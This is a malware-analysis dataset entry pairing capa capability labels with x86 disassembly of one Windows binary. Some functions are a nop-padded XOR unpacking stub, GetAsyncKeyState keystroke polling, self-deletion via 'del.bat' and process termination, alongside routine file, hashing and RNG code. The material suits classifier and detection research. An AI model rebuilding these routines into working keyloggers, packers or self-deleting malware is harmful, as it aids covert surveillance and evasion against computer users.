joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x21c34542
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x3c222c12
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4412bd
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4412eb
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x441309
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00441227
jmp 0x441309
mov eax, dword [esi + 0x14]
test eax, eax
je 0x441309
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00441227
test edi, edi
mov eax, edi
jne 0x4412f3
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x56b4b4]
test ecx, ecx
je 0x4413bc
jmp 0x4412bc
ret 8

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x7584364c
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x2b0e6dce
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x409700
Capabilities:
Hash data using fnv

Disassembly:
sub esp, 0x10
push esi
lea ecx, [esp + 8]
call fcn.00403100
mov edx, dword [esp + 8]
mov ecx, edx
sub ecx, dword [0x602b60]
mov esi, dword [esp + 0xc]
mov eax, esi
sbb eax, dword [0x602b64]
cmp ecx, 0x540be400
jne 0x409732
cmp eax, 2
je 0x409741
cmp eax, 2
jl 0x409756
jg 0x409741
cmp ecx, 0x540be400
jb 0x409756
mov dword [0x602b60], edx
mov dword [0x602b64], esi
pop esi
add esp, 0x10
jmp fcn.00409040
pop esi
add esp, 0x10
ret
Function at 0x409bb0
Capabilities:
Log keystrokes via polling

Disassembly:
mov al, byte [0x602e0c]
sub esp, 0xc
push esi
push edi
mov edi, ecx
test al, al
jne 0x409be3
mov eax, dword [edi]
push ecx
mov ecx, dword [eax*4 + 0x489cf0]
call fcn.0046a0e0
add esp, 4
test al, al
je 0x409c36
mov byte [0x602e0c], 1
pop edi
pop esi
add esp, 0xc
ret
cmp al, 1
jne 0x409c36
push ecx
mov ecx, 0x48825c
call fcn.0046a0e0
add esp, 4
mov dword [esp + 8], 0x46
lea ecx, [esp + 8]
mov dword [esp + 0xc], 0
call fcn.0041a830
mov esi, 0x489a18
push dword [esi]
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x409c2b
mov eax, dword [esi]
mov dword [edi], eax
mov byte [0x602e0c], 0
add esi, 4
cmp esi, 0x489cf0
jne 0x409c13
pop edi
pop esi
add esp, 0xc
ret
Function at 0x40dae0
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push ecx
call fcn.0040cf20
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0
push str.del.bat
push 0x488714
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x40db10
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x22c
push ebx
push edi
push 0
push 2
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 8], 0x22c
lea eax, [esp + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40dba5
push esi
nop
mov eax, ebx
lea ecx, [esp + 0x30]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x40db6c
test dx, dx
je 0x40db68
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x40db6c
add ecx, 4
add eax, 4
test dx, dx
jne 0x40db46
xor eax, eax
jmp 0x40db71
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40db94
push dword [esp + 0x14]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40db40
pop esi
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
add esp, 0x22c
ret
Function at 0x4190e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x41910c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x419134
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x41913a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x4191a2
jg 0x419151
test esi, esi
je 0x4191a2
test ecx, ecx
jl 0x41919d
jg 0x41915b
test eax, eax
je 0x41919d
cmp edi, ecx
jg 0x41916f
jl 0x419165
cmp esi, eax
jae 0x41916f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x4191a5
mov ecx, dword [ebp + 8]
jmp 0x4191af
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x4191c9
jg 0x4191af
test esi, esi
je 0x4191c9
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x4191c9
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4191e0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 8
push ebx
mov ebx, ecx
push esi
mov esi, dword [esp + 0x18]
test eax, eax
jg 0x419205
jl 0x4191f9
test esi, esi
jne 0x419205
pop esi
xor eax, eax
xor edx, edx
pop ebx
add esp, 8
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x41921f
push eax
push esi
push dword [esp + 0x1c]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
add esp, 8
ret 0xc
mov eax, dword [ebx + 0x1c]
push ebp
mov ebp, dword [esp + 0x18]
push edi
mov edx, dword [eax]
mov edi, esi
test edx, edx
je 0x419266
mov eax, dword [ebx + 0x2c]
lea ecx, [ebx + 0x2c]
mov dword [esp + 0x10], ecx
mov eax, dword [eax]
test eax, eax
je 0x41926d
cmp eax, dword [esp + 0x20]
cmovb esi, eax
push esi
push edx
push ebp
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
add ebp, esi
sub edi, esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [esp + 0x20]
jmp 0x41926d
lea eax, [ebx + 0x2c]
mov dword [esp + 0x10], eax
cmp dword [ebx + 0x4c], 0
je 0x4192d9
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x419297
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
mov dword [eax], edx
cmp edi, 0xfff
jbe 0x4192c3
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push ebp
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
add ebp, eax
sub edi, eax
cmp eax, 0xfff
jne 0x4192d9
cmp edi, eax
ja 0x4192a0
test edi, edi
je 0x4192d9
push dword [ebx + 0x4c]
push edi
push 1
push ebp
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
sub edi, eax
mov edx, dword [esp + 0x24]
sub esi, edi
pop edi
pop ebp
mov eax, esi
sbb edx, 0
pop esi
pop ebx
add esp, 8
ret 0xc
Function at 0x419680
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x2c
push ebx
mov ebx, dword [esp + 0x34]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x41969a
pop esi
xor eax, eax
pop ebx
add esp, 0x2c
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x4196cc
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x4196cc
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
add esp, 0x2c
ret 4
cmp dword [esi + 0x4c], 0
je 0x41979b
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x4196f4
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x419700
movsx eax, bl
jmp 0x419740
lea eax, [esp + 0x10]
mov byte [esp + 0xf], bl
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x23]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x419760
sub eax, 1
je 0x419760
sub eax, 2
jne 0x41979b
movsx eax, byte [esp + 0xf]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmove ebx, ecx
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 0x2c
ret 4
mov edi, dword [esp + 0x10]
lea eax, [esp + 0x18]
sub edi, eax
je 0x419780
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x41979b
lea ecx, [esp + 0xf]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [esp + 0x14], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
add esp, 0x2c
ret 4
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x2c
ret 4

Function at 0x419980
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
mov dword [ecx + 0x1384], 0xffffffff
lea edi, [ecx + 8]
mov dword [ecx + 4], edx
mov esi, 1
nop dword [eax + eax]
mov eax, edx
lea edi, [edi + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi - 4], edx
cmp esi, 0x270
jb 0x4199a0
pop edi
pop esi
mov dword [ecx], 0x270
mov eax, ecx
ret 4
Function at 0x41a000
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x24
push edi
mov edi, ecx
cmp dword [edi + 0x38], 0
je 0x41a0a2
cmp byte [edi + 0x3d], 0
je 0x41a0a2
mov eax, dword [edi]
push esi
push 0xffffffffffffffff
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x4865b4]
mov ecx, edi
call esi
cmp eax, 0xffffffff
je 0x41a09a
mov ecx, dword [edi + 0x38]
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [edi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x41a069
sub eax, 1
je 0x41a06d
sub eax, 2
jne 0x41a09a
mov byte [edi + 0x3d], al
mov al, 1
pop esi
pop edi
add esp, 0x24
ret
mov byte [edi + 0x3d], 0
mov esi, dword [esp + 8]
lea eax, [esp + 0xc]
sub esi, eax
je 0x41a08d
push dword [edi + 0x4c]
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x41a09a
cmp byte [edi + 0x3d], 0
pop esi
sete al
pop edi
add esp, 0x24
ret
pop esi
xor al, al
pop edi
add esp, 0x24
ret
mov al, 1
pop edi
add esp, 0x24
ret
Function at 0x41cb30
Capabilities:
Hash data using fnv

Disassembly:
sub esp, 0x10
mov edx, dword [esp + 0x14]
mov eax, 0x1fffffff
push ebx
mov ebx, ecx
bsr ecx, eax
push ebp
push esi
mov esi, 1
mov dword [esp + 0x10], ebx
mov eax, esi
shl eax, cl
push edi
cmp edx, eax
jbe 0x41cb61
push str.invalid_hash_bucket_count
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov ebp, dword [ebx + 4]
lea eax, [edx - 1]
or eax, 1
mov dword [esp + 0x1c], ebp
bsr ecx, eax
lea edi, [ebx + 0xc]
push ebp
mov dword [esp + 0x1c], edi
lea ecx, [ecx + 1]
shl esi, cl
mov ecx, edi
lea eax, [esi + esi]
push eax
call fcn.0041a4b0
lea eax, [esi - 1]
mov dword [ebx + 0x1c], esi
mov dword [ebx + 0x18], eax
mov ecx, dword [ebx + 4]
mov ecx, dword [ecx]
cmp ecx, ebp
je 0x41cc5f
mov eax, ecx
movzx edx, byte [eax + 8]
xor edx, 0x811c9dc5
mov ecx, dword [ecx]
imul esi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor esi, edx
movzx edx, byte [eax + 0xa]
imul esi, esi, 0x1000193
xor esi, edx
movzx edx, byte [eax + 0xb]
imul esi, esi, 0x1000193
xor esi, edx
imul edx, esi, 0x1000193
mov esi, dword [ebx + 0x18]
and esi, edx
mov edx, dword [edi]
lea ebp, [edx + esi*8]
mov esi, dword [ebp]
cmp esi, dword [esp + 0x1c]
jne 0x41cbf2
mov dword [ebp], eax
mov dword [ebp + 4], eax
jmp 0x41cc53
mov edx, dword [ebp + 4]
mov edi, dword [eax + 8]
cmp edi, dword [edx + 8]
jne 0x41cc20
mov ebx, dword [edx]
cmp ebx, eax
je 0x41cc1b
mov edi, dword [eax + 4]
mov dword [edi], ecx
mov esi, dword [ecx + 4]
mov dword [esi], ebx
mov edx, dword [ebx + 4]
mov dword [edx], eax
mov dword [ebx + 4], esi
mov dword [ecx + 4], edi
mov dword [eax + 4], edx
mov dword [ebp + 4], eax
jmp 0x41cc4b
cmp esi, edx
je 0x41cc30
mov edx, dword [edx + 4]
cmp edi, dword [edx + 8]
je 0x41cc69
cmp esi, edx
jne 0x41cc24
mov ebx, dword [eax + 4]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov esi, dword [edx + 4]
mov dword [esi], eax
mov dword [edx + 4], edi
mov dword [ecx + 4], ebx
mov dword [eax + 4], esi
mov dword [ebp], eax
mov ebx, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, ecx
cmp ecx, dword [esp + 0x1c]
jne 0x41cba1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 4
mov edi, dword [eax + 4]
mov ebx, dword [edx]
mov dword [edi], ecx
mov esi, dword [ecx + 4]
mov dword [esi], ebx
mov edx, dword [ebx + 4]
mov dword [edx], eax
mov dword [ebx + 4], esi
mov dword [ecx + 4], edi
mov dword [eax + 4], edx
jmp 0x41cc4b
Function at 0x41cc90
Capabilities:
Hash data using fnv

Disassembly:
sub esp, 0x10
mov edx, dword [esp + 0x14]
mov eax, 0x1fffffff
push ebx
mov ebx, ecx
bsr ecx, eax
push ebp
push esi
push edi
mov edi, 1
mov dword [esp + 0x14], ebx
mov eax, edi
shl eax, cl
cmp edx, eax
jbe 0x41ccc1
push str.invalid_hash_bucket_count
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov esi, dword [ebx + 4]
lea eax, [edx - 1]
or eax, 1
lea ebp, [ebx + 0xc]
bsr ecx, eax
push esi
lea ecx, [ecx + 1]
shl edi, cl
mov ecx, ebp
lea eax, [edi + edi]
push eax
call fcn.0041a4b0
lea eax, [edi - 1]
mov dword [ebx + 0x1c], edi
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov ecx, eax
cmp eax, esi
je 0x41cdcc
nop dword [eax]
movzx edx, byte [eax + 8]
xor edx, 0x811c9dc5
mov ecx, dword [ecx]
imul edi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor edi, edx
movzx edx, byte [eax + 0xa]
imul edi, edi, 0x1000193
xor edi, edx
movzx edx, byte [eax + 0xb]
imul edi, edi, 0x1000193
xor edi, edx
mov edx, dword [ebp]
imul edi, edi, 0x1000193
and edi, dword [ebx + 0x18]
lea ebp, [edx + edi*8]
mov edi, dword [ebp]
mov dword [esp + 0x18], ebp
cmp edi, esi
jne 0x41cd52
mov dword [ebp], eax
mov dword [ebp + 4], eax
jmp 0x41cdbf
mov edx, dword [ebp + 4]
mov ebx, dword [eax + 8]
cmp ebx, dword [edx + 8]
jne 0x41cd8c
mov edx, dword [edx]
mov dword [esp + 0x1c], edx
cmp edx, eax
je 0x41cd87
mov ebx, dword [eax + 4]
mov ebp, dword [esp + 0x1c]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [ebp + 4], edi
mov ebp, dword [esp + 0x18]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
mov dword [ebp + 4], eax
jmp 0x41cdbb
cmp edi, edx
je 0x41cd9c
mov edx, dword [edx + 4]
cmp ebx, dword [edx + 8]
je 0x41cdd6
cmp edi, edx
jne 0x41cd90
mov ebp, dword [eax + 4]
mov dword [ebp], ecx
mov ebx, dword [ecx + 4]
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov dword [edx + 4], ebx
mov edx, dword [esp + 0x18]
mov dword [ecx + 4], ebp
mov dword [eax + 4], edi
mov dword [edx], eax
mov ebx, dword [esp + 0x14]
lea ebp, [ebx + 0xc]
mov eax, ecx
cmp ecx, esi
jne 0x41cd00
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 4
mov ebx, dword [eax + 4]
mov ebp, dword [edx]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], ebp
mov edx, dword [ebp + 4]
mov dword [edx], eax
mov dword [ebp + 4], edi
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
jmp 0x41cdbb
Function at 0x41d330
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x41d37f
lea edx, [esi + 8]
mov edi, eax
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x41d342
mov eax, dword [esi]
jmp 0x41d468
cmp eax, 0x4e0
jb 0x41d468
push ebx
mov ebx, dword [esi + 0x9c4]
lea edi, [esi + 0x9c4]
push ebp
mov ebp, 0xe3
nop dword [eax]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub ebp, 1
jne 0x41d3a0
mov ebx, dword [esi + 0xd50]
lea edi, [esi + 0xd50]
mov ebp, 0x18c
nop dword [eax]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub ebp, 1
jne 0x41d3f0
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop ebp
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
pop ebx
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
ret
Function at 0x421630
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x483fd0
push eax
mov dword fs:[0], esp
sub esp, 0xb8
cmp byte [ebp + 8], 0
push esi
push edi
mov edi, edx
mov esi, ecx
je 0x421732
sub esp, 0xc
lea ecx, [ebp - 0xc4]
push 0x48b6a8
call fcn.0041a140
mov dword [ebp - 4], 0
cmp dword [ebp - 0x74], 0
je 0x421717
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x42168d
mov esi, dword [esi]
push eax
mov edx, esi
lea ecx, [ebp - 0xc4]
call fcn.0041ce80
add esp, 4
mov ecx, eax
push 0x41a990
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [edi + 0x14], 0xf
mov eax, dword [edi + 0x10]
jbe 0x4216b6
mov edi, dword [edi]
push eax
mov edx, edi
lea ecx, [ebp - 0xc4]
call fcn.0041ce80
add esp, 4
mov ecx, eax
push 0x41a990
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp + 8]
lea ecx, [ebp - 0xc4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool_]
push 0x41a990
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0xc0]
call fcn.0041a0b0
test eax, eax
jne 0x421717
push eax
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0xc4]
call fcn.0040da30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x48b6b4
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [ebp - 0xc]
add esp, 4
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret